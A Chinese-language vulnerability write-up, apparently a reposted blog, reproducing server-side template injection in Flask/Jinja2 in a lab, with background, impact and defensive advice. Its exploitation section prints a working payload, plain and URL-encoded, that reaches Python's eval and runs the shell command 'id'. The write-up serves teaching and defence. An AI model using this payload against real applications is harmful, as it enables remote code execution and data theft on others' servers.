当前位置: 首页 > news >正文

Flask (Jinja2) 服务端模板注入漏洞复现

文章目录

  • Flask (Jinja2) 服务端模板注入漏洞
    • 1.1 漏洞描述
    • 1.2 漏洞原理
    • 1.3 漏洞危害
    • 1.4 漏洞复现
      • 1.4.1 漏洞利用
    • 1.5 漏洞防御

Flask (Jinja2) 服务端模板注入漏洞

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Flask (Jinja2) 服务端模板注入漏洞
漏洞评级高危
影响版本使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
漏洞描述Flask 是一个流行的 Python Web 框架,而 Jinja2 是其默认的模板引擎。服务端模板注入漏洞发生在应用程序使用模板引擎渲染用户提供的数据时,未能正确过滤或转义用户输入,导致攻击者可以注入自己的模板代码,从而执行恶意操作。
修复方案打补丁,上设备,升级组件

1.2 漏洞原理

在模板引擎中,开发者可以使用特定的语法将数据与模板结合生成最终的输出。然而,如果在这个过程中,直接使用用户提供的数据而没有进行适当的过滤或转义,攻击者就可以注入恶意模板代码。

攻击者可以构造恶意的输入,在用户输入中包含模板标记(如 {{}}),以控制模板引擎的行为。模板引擎会将用户提供的数据作为代码来执行,导致恶意代码执行在服务端上下文中。

1.3 漏洞危害

服务端模板注入漏洞可能导致以下危害:

  1. 执行任意服务器端代码:攻击者可以在服务器上执行任意的代码,包括读写敏感文件、访问数据库、远程命令执行等操作。
  2. 盗取敏感信息:攻击者可以通过读取服务器端数据,包括数据库中存储的敏感信息(如用户凭据、个人信息等)。
  3. 服务器端拒绝服务(DoS):攻击者可以构造恶意输入,导致服务器资源耗尽或崩溃,从而使服务不可用。

1.4 漏洞复现

环境启动

image-20230923102617432

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

image-20230923102748954

1.4.1 漏洞利用

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{undefined{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

放在url中需要编码,编码后的结果

{%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

然后我们执行,发现命令执行成功。

image-20230923103358474

1.5 漏洞防御

漏洞防御: 以下是一些防御措施来预防 Flask(Jinja2)服务端模板注入漏洞:

  1. 输入验证与过滤:应该对用户提供的输入进行验证,并确保它符合预期的格式和类型。同时,在将用户输入传递给模板引擎之前,必须进行适当的过滤和转义处理。
  2. 不信任用户输入:永远不要相信用户提供的输入数据,即使是在内部使用也要进行验证和转义处理。
  3. 使用安全的模板引擎配置:使用模板引擎时,应该仔细配置其安全选项,以限制模板中可执行的操作和访问的对象。
  4. 最小权限原则:为应用程序和服务器分配最低权限,以降低攻击者成功利用漏洞的可能性。
  5. 定期更新框架和库:及时更新 Flask 和 Jinja2 等相关库,以获取最新的安全修复和补丁。
http://www.lryc.cn/news/193288.html

相关文章:

  • file_get_contents 与curl 的对比
  • 两个el-date-picker进行互相关联
  • python openai playground使用教程
  • DOCKER本地仓库
  • python写着玩
  • K8s Kubernetes Namespave Pod Label Deployment Service 实战
  • SpringBoot使用随机端口启动
  • NewStarCTF2023week2-ez_sql
  • 力扣-434.字符串中的单词数
  • 【ALO-BP预测】基于蚁狮算法优化BP神经网络回归预测研究(Matlab代码实现)
  • 分布式存储系统Ceph应用详解
  • 人工智能轨道交通行业周刊-第63期(2023.10.9-10.15)
  • OJ项目——统一数据格式返回,我是如何处理的?
  • Open CV 3D Python 环境搭建
  • C#中lock 和 ReaderWriterLock 的使用总结
  • Mac下通过nvm管理node
  • 易点易动固定资产管理系统:RFID出入监控,保障固定资产安全
  • Vue封装组件并发布到npm仓库
  • python+深度学习+opencv实现植物识别算法系统 计算机竞赛
  • 基于springboot实现医院急诊平台系统项目【项目源码】
  • 【02】基础知识:React - jsx语法规则
  • C语言 —— 指针
  • 淘宝店铺所有商品数据接口,淘宝整店所有商品数据接口,淘宝店铺商品接口,淘宝API接口
  • 【Redis】Java客户端使用zset命令
  • 记录一个@Transaction注解引发的bug
  • 解决docker使用pandarallel报错OSError: [Errno 28] No space left on device
  • Javascript自定义页面复制事件
  • Nginx:反向代理(示意图+配置)
  • macbook笔记本电脑内存怎么清理才能干净流畅?
  • spark 与 mapreduce 对比